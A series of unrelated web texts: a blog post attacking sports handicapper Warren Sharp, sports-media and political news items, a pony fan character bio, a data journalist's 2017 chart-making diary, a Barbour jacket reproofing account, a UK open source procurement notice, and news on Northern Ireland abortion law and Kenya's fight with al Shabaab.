never heard of them (Like Bill Benter, for example), and they certainly wouldn’t be selling their picks if their picks were any good because they could be making way more money betting on them (Benter made a BILLION dollars….with a “B”!). So his numbers are probably not the most truthful…… In fact, Game Advisers, which tracks handicappers plays, has Warren Sharp as 16-23-1 for a negative 23.41% ROI. Not quite the same as what Warren claims. Also, apparently, he pissed someone off enough for them to start http://sharpfootballanalysistruth.blogspot.com. The blog has exactly one post: One of the links in that blog post links to an entire thread about how Warren Sharp is a scam. A poster named Dr. H refers to him as a “sleazeball hack”……..his words, not mine. And finally, a public service announcement from one of the covers.com forums: So anyway, my point is that Sharp is a tout who does, at best, sloppy statistical analysis. And yet these major media outlets are touting (see what I did there…?) him as this genius. He’s not. Anyway, back to that quote from The Ringer article. That paragraph continues: In fact, when you talk to people inside the league, some think he might be the top mind, period. Though he’s been writing on the internet for many years, he said it wasn’t until 2018 that teams started reaching out to him to discuss analytics. He says he’s heard from at least five and has done work as a consultant. While I haven’t personally asked anyone I know who works for an NFL team, I would bet everything I own that exactly 0% of the data scientists/statisticians working for NFL teams would consider this guy to be the “top mind, period“. And if I’m wrong about that, I can just take a page out of Warren Sharp’s playbook and lie about my record…….. Cheers. P.S. They also mention my old friend Bill Barnwell (who is still blocking me on Twitter) in this article. I actually enjoy reading Barnwell’s stuff, but he also wrote this article once, which was a really poorly done statistical analysis for Grantland. You can read all about the shortcomings of that analysis here and here. P.P.S. I’ve added this flowchart here in case you are thinking about getting involved with a tout (via @cluelessTroll): -Last week we told you Columbus radio host Scott Torgerson was suspended for a controversial and offensive tweet criticizing ESPN college football analyst Desmond Howard. Today, the other shoe dropped for The Torg as he was let go by 97.1 The Fan in Columbus. The station "future endeavored" Torg, appropriately enough, on their Twitter page… Scott Torgerson is no longer employed by our company as of today. We appreciate his contributions and wish him well in his future endeavors. — 97.1 The Fan (@971thefan) October 24, 2012 To be honest, this isn't a surprise. Once Kirk Herbstreit (still a very influential figure in Columbus, make no mistake) got involved publicly, it was always going to be difficult to see The Torg find a way back from his suspension. Not to mention there must have been some pressure from above for the ESPN Radio affiliate in Columbus to disassociate themselves with Torgerson after he jokingly wished firing or death upon Desmond Howard. It's always tough when someone loses their job and I do believe there's a case to be made both for keeping Torgerson and letting him go. Torg made a mistake and apologized profusely for it, so some will say a suspension was enough and he learned his lesson. Others will say Torg had this coming as a sports shock jock who makes a living pushing the envelope and eventually there would come a day when he wouldn't be able to pull it back. I don't think there's a "right" answer in this case. Regardless, it's an unfortunate situation all the way around and hopefully Torgerson is able to learn from it and move on. Given the nature of "The Common Man & The Torg" and outspokenness of Torgerson's ex co-host Mike Ricordati (who has taken on Herbstreit himself), I would expect fireworks when their show comes on the air at 3 PM ET today if you're in the Columbus area. -Activist Fred Boenig challenges Republican Arkansas senator, himself a veteran and new father: ‘Now that you have a child, you will understand’ Air strikes against Isis continue day after US general defends bombing campaign Read more The Republican senator Tom Cotton was confronted on Friday by a the father of an airman who died in Afghanistan, who told him: “Now that you have a child, you will understand” opposition to further American engagement in the Middle East. Cotton, a first-term senator from Arkansas, military veteran and new father, is a prominent foreign policy hawk. In March, he was one of the driving forces behind a controversial open letter to Iran’s senior leadership that was signed by 47 Republican senators. The letter was seen by many as an attempt to derail the Obama administration’s pursuit of a peaceful resolution to the Islamic Republic’s nuclear ambitions. On Friday, Cotton sat next to activist Fred Boenig, whose son died in Afghanistan in 2010, at a foreign policy discussion held at Johns Hopkins University in Baltimore. Their robust exchange of views covered Barack Obama’s foreign policy – which Cotton called “dangerous” – and the question of when US wars in the Middle East could be considered over, given that troops remain in Afghanistan and US-led airstrikes against Islamic State militants in Iraq and Syria continue daily, with US advisers helping Iraqi forces against Isis. Boenig told Cotton: “It’s very clear what your views are, sir. My views are keeping our kids safe, which include my children. Now that you have a child, you will understand. “When you speak of sending our kids again, let’s make it worth it, not just to send them to politically help some Haliburton or somebody else.” Cotton, 38, was formerly an infantry officer. According to his Senate website, he “served in Iraq with the 101st Airborne and in Afghanistan with a Provincial Reconstruction Team”. The biography continues: “Between his two combat tours, Tom served with The Old Guard at Arlington National Cemetery. Tom’s military decorations include the Bronze Star Medal, Combat Infantry Badge, and Ranger Tab.” At Johns Hopkins, Cotton said the “threat environment that we face here at home and throughout the west is more grave today than at anytime during our lifetimes”, and added: “I wish that weren’t that case. “But for the time being it is. We have to remain vigilant and we have to continue to take the fight to the terrorist.” I-ran and I-raq: what's in a letter? Read more Boenig, who is a radio host in Pennsylvania, was wearing four lapel pins during his conversation with Cotton, to signify, he said, the service of four of his children in the US armed forces. Boenig and Cotton parted on polite terms, but in an interview Boenig said: “He handled it the way I expected him to handle it. He’s a hawk. “I’m a tree-hugging, peace-loving, gay wedding, you know, whatever. I was a conservative my whole life, but it all changed.” -doesn't seem to care that fighting might cost lives, it actually made things more exciting in his "game". After he worked with Fili-Second to rescue Zap, he grew even closer to the pink speed mare and wishes to stay beside her to make his game more thrilling. is a flawed prototype of the other Power Ponies arsenal with a self-destruct mechanism that could destroy an entire city if overused. He is an additional member of the Power Ponies Megaforce and the partner of Fili-Second (Pinkie Pie); Troteye (Cheese Sandwich).Troteye is Fili-Second's secret admirer. He is an agent sent by the S.H.I.E.L.D. (Strategic Homeland Intervention - Equestrian Logistics Division), along with Captain Coltimate (Flash Sentry), Steellion (Soarin'), Pony Torch (Spitfire), etc. to support the Power Ponies and Humdrum (Spike) in fighting the army of Highbreed invading Equestria. When Zap (Rainbow Dash) was foalnapped by the Highbreed, Troteye was sent to rescue her, but Fili-Second immediately became jealous of his swift and good archery and they both competed on who will rescue Zap first. But the competition did not turn out well. When Zap was on the verge of her demise, Troteye and Fili-Second worked together to stop the Highbreed and free Zap and they prevailed. From then on, Troteye became Fili-Second's partner.As a cunning and skilled archer, despite being a heroic pony, he is always looking for excitement to feel great amusement. Trot-eyeTroteye is a skilled and agile archer. With his trusted bow Bowless, he can be able to fire countless arrows of different shapes and kinds (fire arrows, ice arrows, arrows that shoot nets, arrow bombs, etc.). But sometimes, when there is a huge horde of his enemies, he relies on Fili-Second to fire all of his arrows within only a few seconds. Afterwards, she would return all of Troteye's arrows to him within only a few seconds.Even if Trot-eye's weapon Bowless is of great use for any battle, unfortunately, itTrent Mercer/Fernandez (White Dino Ranger) and Power Rangers Dino Thunder belong to © Saban Productions and DisneyMikoto Nakadai (AbareKiller) and Bakuryuu Sentai Abaranger belong to © Toei Ltd.Hawkeye belongs to © Cheese Sandwich and MLP:FiM belongs to © -2017 Chart Diary Things I wrote about things I made in 2017 The idea is cribbed from an Upshot piece. We got a little crunched for time and weren’t as fancy about customizing feedback for incorrectly drawn lines. Still, I think the core idea of making people put their assumptions down and overlaying reality over them works and increases memorability/engagement. I’m a little surprised this form hasn’t been used more. The chart dragging code isn’t super complex - just 60 lines of d3 for an mpv. One bit that we should have spent more time on before publishing: clearly labeling the years. We originally put the year labels directly below the tick, but there was a lot of confusion over Obama getting credit/blame for Bush’s last year in office. Moving the year labels to the left of the tick clarified that the data points were for values at the end of the year. We’ve also been tracking the accuracy of people’s responses, but need to come up with a more understandable form than the log scaled small multiple violin plot. First time publishing something with flexbox! It was nice to use, but I’ve just switched back to inline-block on deadline and I guess I’m supposed to be learning grid now? The Senate Librarian maintains a word doc with each cabinet appointment. Just scrolling through the data, I was surprised at how recently confirmations hearings had become contentious during a president’s first year. To show that, I tried a histogram with the percent of yes votes. Since so many nomineees were confirmed by unanimous consent it was hard to fit them all in, even when I switched to a beeswarm plot and expanded the vertical space. To show how unique the votes on Trump’s nominees were, I tried counting the cumulative number of votes against his nominees. Not showing each nominee lost some of the connection to the news though. To highlight controversial nominees, I used the form and cutouts from Jasmine’s piece on cabinet demographics and colored the nominees by No votes. The color scale could have been better though, maybe fewer buckets? Amazon tracks what & when you read on kindle but doesn’t share that information with you. I wrote a little script that extracts and visualizes your reading history. The Refugee Processing Center published detailed daily demographics behind a form that requires downloading data one day at a time. I couldn’t figure out how to directly script the ASP.NET, so I used nightmarejs to simulate clicking the forms to fill them out and download data. I tried some denser forms, looking at the number of refugees by country and religion arriving each year. Lots of interesting details, but not about the story we were telling. While I was flying off to my honeymoon, Rebecca removed data and simplified, sharpening the presentation. My first attempt at showing annual admissions plotted daily data and made it difficult to see the rate of admissions over the course of the year. Rebecca’s switch to monthly data fixed that and removed the need for a “refugees admitted by this date in past years” marker. Another look at the refugee admissions data, this time focusing on countries of origin over time. I was a little anxious when starting this project - we were trying to publish that day and setting up maps with d3 can be slow. To get going fast, I grabbed some code from a previous project and made a bubble chart. Distorting geography to stop the bubbles from overlapping was too confusing with potentially unfamiliar locations: Iran starts out between Iraq and Bhutan, then moves south of Iraq. So we switched to overlapping circles on a map. With some last-second color assistance and some bug fixes, it got published on time. Quick project done the day after the Trump administration published financial disclosure forms. The value of assets are listed as an estimated range, not an exact dollar amount. I tried overlapping circles and gradients to show the range, but a key explaining the different sizes was too clunky so we just showed the lower estimate on the web. It ended up pretty close to the original sketch. With some additional time and space, Larry came up with some elegant labeling that showed the top and bottom of the range in the Tuesday paper. The House doesn’t post live election results so we sent people into the chamber to count votes. Kevin nearly had a heart attack. More congressional table journalism. I tried writing a tool to automatically pull in statements from twitter and facebook, but couldn’t put it together fast enough. Downloading the raw social media text isn’t too difficult (well, the twitter api is a headache), but putting them into an environment where they can be annotated in real-time is tricky. We’ll usually paste a spreadsheet into google sheets, but that’s not easy to update after six people have been marking it up for hours. Jeremy got a hold of some interesting data this afternoon and we threw together a map. I made the map with d3 and a couple of canvas tricks from an old Bloomberg piece. There are too many points (80,000+!) to animate with svg, so I used two canvas layers. The top one is cleared every frame and each moving point is redrawn. The bottom frame only has points drawn on it and is never cleared so it keeps a record of every location. We briefly talked about showing time in different ways - a line chart or small multiple maps by hour - but there was a chunk of time missing. After publishing, I explored an alternative representation with d3-contour which clearly shows the higher rate of hacking in Eastern Europe and China. It’s easier to use a nonlinear scale when you’re programming at a higher level than drawing rectangles on top of each other. Of course, number of hacked IPs per square mile is not the most meaningful thing in the world to show. Perhaps some kind of binning to compare the amount of hacking to the number of computers in different regions of the world would have been a better approach. I was curious about how the rest of the group stage would play out, so I threw together a visualization looking at how the result of each game would affect each team’s chance of making it out of groups. I started out thinking that I would follow the form of my previous crack at this problem. Since each team is only playing two games, you only get four groupings of points which ends up not being as interesting - all of the interesting action happens in -other- teams’ games. So I tried looking at the scenarios in a more structured way, shuffling the boxes to compare how the outcome of the game would change everyone’s standings. I felt like I was learning interesting things from the different arrangements, but it was hard to see which games had the biggest impact so I sorted each column individually instead of keeping each scenario in its own row. A little easier to read but loses some of the nice mathematical elegance of exploring a 6d hypercube. Charts were still kinda weird so I stuck them inside of graph-scroll to make them more palatable. There’s way too much text in the piece, but I didn’t give myself a ton of time for editing. Update: Darn it! I messed up the tie-breaking rules! I counted the total wins in games between the tied three teams instead of comparing the head-to-head records of each team. Sorry about the incorrect info everyone : ( If three or more teams are tied, the head-to-head record of all teams against each other team involved in the tiebreaker will be considered. If a single team owns a winning record (as defined as winning more than 50% of the games) against every other team in the tiebreaker, they are automatically granted the highest seed available in the tiebreaker, and a new tiebreaker is declared amongst the remaining teams. I started out just trying to show how much LeBron scored in each playoff game. A table of circles did a nice job of showing wins and losses, but area isn’t easy to compare at such a small size. Using height instead helped, but I wasn’t thrilled about information density; the pieces I’m proudest of are rich with detail that rewards exploration and careful reading. I tried squeezing the graphic to fit other players in, but since the y-position was used to encode both season and points scored, it wasn’t possible to get very small. So I moved season to the x-position, distinguishing it from series with white space, which opened up a lot of vertical room for other players. This came at the cost of not being able to compare LeBron’s record at different rounds of the playoffs across seasons — he hasn’t lost a first-round game for 5 years! — which I tried to alleviate by highlighting the result of the last series played in a season. A little bit of polish made it prettier, but there were still significant problems with the form. The piece was about LeBron passing MJ’s record, but because so much emphasis was placed on individual games, it was hard to compare the area of players’ charts to see who had the most points. Tight on time, I fell back on the classic cumulative record chart. Updated with more transitions and scrolling! After LeBron’s 11-point game gave me some extra time, I went back to the idea of trying to show each playoff game. Stacked bars eliminated the huge amount of vertical variation between games so players’ points were more perceivable. To distinguish series, I switched color from win/loss to playoff depth. This made me a little sad — you can’t trace your finger along and recall individual games like you could in the previous version — but it did a better job showing how players from different eras got their points. Finally, I used a small multiples layout instead of vertically sorting by time with a common x scale to fit more players in a smaller space. Update to post-election climate piece done with Jasmine. The presentation is mostly the name, but every time it looked like there’d be news on the Paris agreement we’d dust this off and make some small tweaks. One of my favorite things about writing code in response to the news cycle is getting to default on technical debt after publishing. This languished for so long that I started to worry it’d need a complete rewrite but thankfully it got out the door before then. This came together quite a lot faster than the 2015 UK Election Results piece I did at Bloomberg. I think we only decided that we were going to purchase a live feed of election results from the Press Association about a week and a half ahead of the election night. Not sure if we were actually going actually do anything, I played around trying to generate a hex cartogram. It was harder than I thought it would be (Greater London is quite dense); we used Ben Flanagan’s layout instead. In retrospect, spending so much time exploring cartograms wasn’t a great idea. I think this arrow chart showing the shift in UKIP’s vote share along with the Labour/Conservative split had potential but there wasn’t enough time to finish it. A remake of a blog post on GSW’s 16-0 start. No one else thought the linked hover was useful, so I stuck in the play-by-play on hover instead. My original Kawhi annotation was edited down a little. I think the tape is pretty clear though. Dial, but no jittery “Aisch’s deception” : ( Jeremy and Joe’s piece - I just coded up the charts. The white stroke to separate the bars was aliasing badly on some monitors, so I tried dropping it and alternating the color of the bars. That was too noisy, so we just reduced the stroke width a bit instead. I had trouble squeezing all the annotations in. Tom adjusted the text alignment on some of them, an effective tweak that I’ve never thought of doing before. Nadja did almost all the work on this. The original animation had a single frame for each time period. I thought it’d be cool to transition between the time periods - not too hard if you know to use the mask element! Possibly the most rewritten thing I’ve ever worked on. Kevin and Josh sketched out a version of the quiz where you clicked on the chart to place characters. To make the interaction more intuitive, Gregor tweaked their code to use the HTML Drag and Drop API. Kevin had some ideas for making the dragging feel like a native app that weren’t doable without finer control. Gregor had just left for vacation, so I hacked together a version with d3-drag… and left for vacation. Tasked with putting together something publishable, Rich sensibly deleted our terrible code and rewrote the whole thing in svelte. While working on an earlier subway article Rebecca and Ford heard that the MTA was contributing to overcrowding by not running as many trains as scheduled. We started looking into the MTA’s real-time feed of train arrival times to determine if that was true. It was harder than we anticipated. The MTA doesn’t archive arrival time data (this page hasn’t been updated for years), so we only had data after we started scraping. The feed only listed trains’ projected arrival times; inferring trains’ actual position required comparing the feed at different timestamps and recording when each projected station arrival time was removed from the feed. Without any documentation on how to do this from the MTA, the process wasn’t exact. I made a ton of Marey diagrams to diagnose different parsing errors: trains moving backwards through space/time, crossing over each other a single track line and splinting into two. It was hard to differentiate when stations disappearing from the feed indicated an arrival or a canceled trip. Charting projected arrival time against the feed’s timestamp for each station on a train’s trip revealed the source of some of these problems. Sometimes the projected arrival time is after the timestamp! Apparently, projected arrival times don’t update when trains are stopped. When trains do start moving again, the original arrival times are briefly pushed through the feed. Without a ground source of truth to compare different feed parsing algorithms to, there wasn’t any way to definitively count actual train throughput. We weren’t sure how to proceed until The Albany Visualization and Informatics Lab pointed us to a paper the MTA published on parsing their feed. Their approach wasn’t perfect-sometimes a single trip would get split into two segments-but it was good enough to count the number of trains going through Grand Central each hour. I sketched out a dense visualization showing the scheduled and actual count of trains each hour during June. While I was on vacation Rebecca and Ford split my hard-to-understand chart into two bits, one showing the MTA was running behind schedule at all hours of the day and another showing that the MTA never met their rush hour schedule. I enjoy intricate forms, but the payoff of getting to see the occasional non-rush hour schedule adherence isn’t worth the risk that people will give up trying to understand the chart. This started as a follow-up to reports that the DOJ was going to challenge affirmative action in college admissions. Historic demographic data on college admissions and young high school graduates wasn’t easy to pull together quickly though, so we started to put together a bigger piece not tied to the news cycle. The design of the top charts went through several iterations. We started out with slope charts showing how the student population of different demographics had changed at different types of schools over the last 35 years. Fitting the white percentages on common scales was tricky, so we switched to showing the difference between percent admissions and population. I really wanted the gap charts to work - they show so many different stories with just a few lines! - so I spent some time tweaking the layout to squeeze them in. Distinguishing between positive and negative gaps wasn’t intuitive though (even with particle animation), so we ended up using an even more slimmed down version of the slope charts. If I had a little more time, I would have liked to try including more chart forms and alternative gap measurements (the ratio of percents isn’t the same as the difference of percents!) by transitioning between them in a scrollytelling piece. That would have required a big rewrite of copy/code which didn’t make sense to attempt while we were waiting for a break in the news to publish. Other things to explore: a wider selection of schools (we had a drop down that let you chart any of the ~4,000 colleges in the US, but weren’t 100% confident in the data so it was cut) and graduation rates. Update: Some criticism from Kevin Drum: So I dug into it. This turned out to be spectacularly difficult, so much so that I began to wonder if I was missing something obvious. I’ll spare you the details, but in the end, my rough estimate is that in 1980 about 2 percent of college-age Hispanics went to UC schools. Today, 5 percent do. Collecting the data was difficult! I’ve assumed that explicitly open sourcing data isn’t worth the hassle since anyone interested in doing additional analysis would also know to open the dev tools and grab our CSV. That’s obviously not true, so perhaps linking to data and explaining our methodology in more detail would be worth it. Not sure how to do that without spending tons of time on it. The trickiest part of this piece was finding the right data source. We wanted frequently updating, hourly data to show where the rain was falling the hardest and how much had fallen overall. I started looking at the Global Precipitation Measurement Constellation which has data on rainfall around the world in 30-minute slices released on a 6-hour lag. After spending a few hours figuring out how to open up netCDF files, I realized the data wasn’t updated as regularly as I hoped. Coloring the data points by observation time showed the paths of satellites moving across the sky. Since not every point gets updated at the same time or on the same interval, calculating cumulative rainfall was trickier than just summing the hourly interval - too tricky to do on deadline. After spending most of a Saturday wandering down a dead end, I was ready to give up. Until Anjali found a NOAA ftp server with exactly the data I was looking for! The format was a bit strange - a shapefile with a grid of points showing calculated rainfall. I threw together a rough script to download the last few days of observations, combine them into a csv and plot the values. Since both the cumulative and the hourly rainfall were interesting, I tried a bivariate color scale to trace the hurricane’s path in red. You can see the eye of the hurricane as it lands! All the colors were a little too much to explain in a key though, so we switched to circles to show the current path of the hurricane. We also had to cut down on the spatial resolution to keep the file size under control - maybe a video would have been better, but I’m a big fan of tiny charts inside of tooltips. For more on all the technical details that went into this, check out my tutorial. We exported data from the hurricane rescue map and animated the messages to get a sense of where people needed help over time. With thousands of messages, there was way too much text to print everything. We manually looked through the messages to pull out interesting, representative snippets that conveyed what each of dots popping up signified. Spacing them out semi-evenly during the animation wasn’t easy when scrolling through thousands of rows in a spreadsheet, so I made a little chart to help see the timing. We had a brief moment of panic when we realized the basemaps (projected to Texas South in qgis) didn’t line up with with the dots (projected to Texas South in d3). Apparently, d3 assumes that the earth is a sphere while qgis uses a more accurate ellipsoid. Pre-projecting the dots with mapshaper and adding them to the basemap to line up the scaling & translating fixed the problem after a couple of hours of head scratching. I’m slowing learning how to do GIS things. Archie suggested one nice touch on animating dots that I’ll be reusing. I’ve usually shown new data points entering by transitioning the size. Combined with all the text on the screen, this made lots of extra visual noise. Replacing the resizing with fading halos highlighted new points without nearly so much noise. Trying to solve these problems on deadline and running low on sleep gives you tunnel vision. I downloaded an app. And suddenly, was part of the Cajun Navy tells the story from a more human perspective. Philip Klotzbach has been keeping a running tally of different records broken by Irma. To give his numbers a little bit of context, we started exploring different ways of representing Atlantic hurricanes. We tried a couple of different representations - scatterplots, maps, line charts. Since every chart had the same set of storms on it, I started playing around with ways of transitioning the charts into each other and we decided to do a scrolly piece (we’ve done a lot of stacks in the last few weeks). All of the 500+ lines of javascript that create the charts were written in 25 hours. This was probably a little too ambitious. Including all of the hurricanes looked great, but after running into performance issues on mobile and retina displays we decided to only including category 3 hurricanes. Coming at it fresh, a canvas rewrite would only have taken an hour or two (d3.line is super flexible!) but by the time that I realized we needed one I was too worn out to do it. I took a couple days the week after to rewrite in regl. Includes my right to left time scale (so the westward paths don’t invert) and line to scatter transition that were just a little too confusing to publish. Nadja did most of the work on this piece. To distinguish the year lines I drew a slightly thicker black line behind each, a trick I picked up from a Bloomberg piece last year. To show the progression of time we used color to indicate year, which unfortunately made it quite similar to Bloomberg’s Arctic Sea Ice chart. I tried a couple of other approaches to differentiate the design a little. A radial chart, an area chart showing the max/min ice extent over time, a variation on that also showing the 25%/median/75% extent and one with a gradient. I think the area charts do an effective job showing the trend, but a wiggling line chart is a more compelling form that doesn’t require as much explanation so we kept it. For the second time in a row, my dream of a line to scatter plot transition was thwarted. The falling dots were a little too joyful for charts about the Arctic melting away. I couldn’t totally get rid of them though; click the year button five times and scroll down. Update: I feel better about copying Bloomberg’s chart - Lisa points out that Derek used the same form in 2015. I don’t think I’ve ever made anything as richly annotated as the desktop version of Derek’s chart. Even with swoopy-drag, incorporating text and leader lines is much easier in illustrator than in code (he uses five styles of lines!). And responsive design is an even bigger obstacle. The mobile charts are basically the same, but we didn’t add anything on wider screens. Not spending a ton of time adding features that only a fraction of our readers will see seems rational. Quickly coding up charts that work on a variety of devices requires avoiding desktop-only designs. I’m worried I’ve focused too much on that; while making this I never considered adding richer annotations with the additional space on desktop. /r/guns had a thread this morning about the type of weapon used in the Vegas shooting. I couldn’t find any concrete information about the weapons used, so we started to explore ways of helping a lay audience understand the noises made by different kinds of fire rates. Jon picked apart sound files to identify when each gun shot occurred. We considered using the sound of each gunshot, but filtering out the background noise was too difficult. Design based on one of my favorite graphics. I added the y encoding of cumulative shots so the slope would show the rate of fire; you can see the bump stock’s irregular rate. After getting a couple of requests for an update to the 2016 version, I grabbed this year’s data and threw it into the charts. The code wasn’t quite as pretty as I remembered, but I think I’ve fixed the three-way tiebreaker bug that threw off the MSI chart—if not please let me know! Hopefully next year I’ll have a chance to explore another representation of this data. I’d like something that you can read top to bottom as matches progress. With our World Cup coverage canceled there should be plenty of time! We wanted to enumerate everything in the tax bill while also providing a higher level view of how the parts fit together than a table. Alicia sketched out stacked bars comparing the tax cuts and increases in the bill. We stuck to this form, just omitting the third column of unchanged tax breaks. We only had estimations of their current costs, not what they would cost with the standard deduction and tax brackets. Some of the provisions in the bill had a comparatively small impact on revenue and weren’t tall enough to see as stacked boxes. Since we were also trying to show everything in the bill, I stole an idea from a Bloomberg piece and laid out a short description of each provision in a grid. We also briefly explored ways of showing numbers to represent a ten year window, making a stacked area chart and putting a chart of revenue impact over time in a tooltip. I thought it would be fun to transition from boxes to an area chart, but there wasn’t much to say about the timing of different provisions. A treemap alternative I played with wasn’t quite ready. One detail I’d explore if I was studying human perception: how people process 1.2 trillion v. 86 billion compared to how they understand 1,215 billion v. 86 billion . My intuition is that our brains don’t actually divide by a thousand to compare a trillion to billion . Consensus within the department was that the comma was pretty confusing, so I might be out thinking myself. Finally published something with WebGL! I started working on this last month when Bui and Ben realized they could model the impact of the tax bill on thousands of households by running CPS data through an open source tax model. Thinking it’d be interesting to see how different demographics’ tax bills would change, I set up a crossfilterish interface to explore. With only 25,000 data points, filtering on multiple dimensions made the chart pretty sparse. So Bui used small multiples instead, which also don’t require interaction to compare. While Bui’s piece provided a good overview of the tax bill, it still didn’t answer everyone’s biggest question: how will this affect my taxes? To get more data points with information about what people actually paid in taxes, Bui started talking to the IRS. Canvas can’t animate hundreds of thousands of points, so we decided to rewrite in regl. Peter’s tutorial helped me start animating the points, but I ran into difficulties pretty fast. Rich Harris showed me how to draw opaque points, but they didn’t stack quite right; the areas with the highest densities weren’t the darkest. Totally stuck, we tried rewriting in canvas, but the lack of zoom was lame. I ended up asking for help in the regl chat and Ricky Reusser showed me how to fix it with a white background color. There were a couple of similar problems that were hard to debug - no inspect element like SVG has! On some computers, the points with 0 gl_pointSize were still getting drawn. My hacky fix was to draw very small points off-screen. We also had difficulties getting all the data to the browser. At first we tried loading 20% of the rows at a time. This caused the chart to flicker on load and the successive redraws made the page laggy. So instead we loaded the data incrementally by column. Initially, just the income and tax change columns needed to position the points are loaded. Then the columns with the categorical data for the filters are loaded in the the order that they appear on the page. Getting this done before the bill passed was challenging. Some of the functions I’ve added to jetpack like tooltips and layers made it a little easier. And Blacki actually made finishing possible, jumping in right after starting at the Times and doing a ton of work while I was suffering from the flu. For more on the collection of the data and the actual story, check out Ben’s writeup. -When making an investment in anything—hunting gear, a new skiff, one of Ted Juracsik’s famed fly reels—it’s a great idea to commit to regular maintenance and upkeep. Clothes are no different. And, with the rainy months nearly behind us, now is the time to send that well-worn Barbour jacket out for a little TLC. The worst thing that can happen to a Barbour jacket is for it to dry out. Since it can’t be washed, the exterior cotton fabric is dependent upon wax to help keep its sturdiness and weather-fighting characteristics in tact. Bottom line: If it dries out, it rips, and if it rips, you’ve got a much bigger repair bill on your hands. My Beaufort was getting very close to that danger zone. As you can see, the wax is wearing away from most of the seams and along the ‘moving’ parts (armpits and elbows). What you can’t experience is the smell. I wasn’t making any new friends wearing this in a crowd. After some research, I contacted New England Reproofers, an outfit located in Nashua, New Hampshire, and asked them about their process. There is a mystique about sending anything back to the factory (and out of your sight) for repairs, but Art, the resident expert, assured me that my Beaufort would be in good hands. The cost for reproofing and odor removal is $75 – this includes return shipping, as well. Satisfied, I wrote my check and sent it, along with my Barbour, up North to the Granite State. This is what happens during its two-week (give or take) stay: The jacket upon receipt at New England Reproofers The odor-removal process. (This also strips away what was left of the old wax) The Beaufort, dried out and ready for waxing. Starting on the collar Finishing the back and sleeves Moving to the front – notice the color difference after a fresh coat of wax Fully (re)waxed Beaufort Two weeks later, the jacket, noticeably heavier with a new coat of wax, was back in Georgia at my front door. As the wax slowly wears away, the jacket gets lighter. That distinctive aged Barbour ‘smell’ is gone, too. It doesn’t smell like flowers, mind, but it doesn’t smell anything like a wet dog anymore. Much more crowd-friendly. And the color is a much richer green. To be honest, I think it looks better now than it did off the rack. Special thanks to the folks at Garden & Gun for posting this on their blog. -The government first set out its policy on the use of open source in 2004. This was restated in both 2009 and 2010. The Government ICT Strategy states that “Where appropriate, government will procure open source solutions”. To support this, action 3 of the strategy says that “To create a level playing field for the use of innovative ICT solutions, the government will publish a toolkit for procurers on best practice for evaluating the use of open source solutions.” The following set of documents make up that toolkit: All About Open Source – including FAQs ICT Advice Note - Procurement of Open Source Procurement Policy Note on Open Source OSS Options CESG Guidance on Open Source - for Government users only Publically accessible summary of the security guidance Total Cost of Ownership Total cost of ownership of open source software: a report for the UK Cabinet Office supported by OpenForum Europe OSS SI Assessment Criteria The purpose of this toolkit is to ensure that there is a level playing field for open source and proprietary software and that some of the myths associated with open source are dispelled. It is intended for those who need to consider, evaluate or procure software as well as anyone just wanting to know more about open source. Feedback on any of the toolkit documents is very welcome and should be sent to opensource@homeoffice.gsi.gov.uk. -During Monday morning’s edition of SportsCenter, Dan Le Batard broke down while discussing the tragic death of Marlins pitcher Jose Fernandez in a boating accident. Le Batard, whose parents are both Cuban immigrants, became emotional as he discussed how his mother enjoyed watching the Cuban American Fernandez pitch. “My mother, in her old age, wants to go to the ballpark on days that he pitched,” Le Batard said, before beginning to tear up. Le Batard attempted to gather himself and continue, but he remained visably emotional discussing the passing of the 24-year-old, who perished along with two others when their boat crashed into a jetty in the waters of Miami Beach. “And so you just get a lot of people who want to be close to that story,” he said. “Because he was so strong. And he was a symbol.” At that point, he broke down fully, and the SportsCenter anchors attempted to console him via satellite. Le Batard is based in Miami and has, in addition to his ESPN duties, written for the Miami Herald since 1990. Watch his full reaction to Fernandez’s tragic death above, via ESPN. [image via screengrab] – Follow Joe DePaolo (@joe_depaolo) on Twitter Have a tip we should know? tips@mediaite.com -The deputy leader of the Green Party has proposed that every time a woman faces prosecution for an unlawful abortion, the man responsible for the pregnancy should also be prosecuted. The proposal comes only days after a Northern Ireland woman was convicted of an unlawful abortion after procuring abortion pills via the internet in 2014, causing intense public debate. Green Party deputy leader Claire Bailey pledged that if she is elected in May, she will bring forward a proposal for the legislation. This would be, she says, “in the interests of equality”. She proposes the law will apply exclusively to men and would create an offence of “reckless conception”. She wrote to the News Letter: “This means that every time a woman faces prosecution or is prosecuted, the man can be charged and face the same penalty. This law would embed the notion that men are (1) also responsible for unwanted pregnancies and (2) will be [as] liable for their reproductive choices or lack of them – as women are.” But Liam Gibson, Northern Ireland Development Officer with pro-life group SPUC, countered that men are already more likely to be prosecuted than women. The evidence shows, he said, that in addition to 24-year-old Philip Griffiths from Fivemiletown – who was charged last week – four other men have been charged with procuring abortions between 1998 and 2014. There was one conviction. The information was confirmed by Justice Minister David Ford in response to an Assembly Question by Green Party leader Steven Agnew. Mr Gibson added: “Seeking to hold men accountable in this way [proposed by Ms Bailey] could, by extension, result in women needing the consent of a baby’s father in order to continue with the pregnancy. It would almost certainly result in men who seek to avoid responsibility for the welfare of their children being even more likely to coerce women into abortion.” Young men need to be taught respect for women and young women should be encouraged to respect themselves, he said. Alliance councillor Paula Bradshaw also rejected the proposal. “As someone who personally would wish to see reform of our laws, I fear that this proposal by the Green Party would merely trivialise a serious issue which requires thoughtful and considered engagement,” she said. “It would in fact hinder the case for reform, and will not advance the cause of women’s rights or women’s health one iota.” -NAIROBI (Reuters) - Kenya said its forces had killed 57 Islamist al Shabaab militants in a battle in southern Somalia on Wednesday, but the group denied any of its fighters had died in the clash. Kenyan troops under the African Union command used artillery and helicopter gunships against the Islamists in Afmadow, a town about 100 km (60 miles) inland from the port of Kismayu, Kenyan military spokesman Col. Joseph Owuoth said in a statement. “In the onslaught, 57 al Shabaab militants were killed and unknown number injured,” Owuoth said, adding that five gun-mounted pickup trucks known as “technicals” were destroyed. Abdiasis Abu Musab, al Shabaab’s spokesman for military operations, said the Islamists had ambushed Kenyan soldiers, prompting them to call in air support, and that al Shabaab lost no fighters. “The planes fired some bombs and KDF (Kenya Defence Forces) returned to their places. There is no casualty from our side and we do not have exact casualty numbers of KDF,” he said. Somalia has been torn apart by civil war since 1991 and now a drought threatens to tip the Horn of Africa nation into famine. Last month parliamentarians elected a new president who vowed to stamp out al Qaeda-linked al Shabaab. The insurgency wants to topple the government and impose its own strict interpretation of Islam on Somalia. It ruled most of south-central Somalia until 2011, when it was driven out of Mogadishu by African Union troops. Despite the loss of territory, al Shabaab still carries out major gun and bomb attacks. In January, its fighters attacked a Kenyan military base in the southern 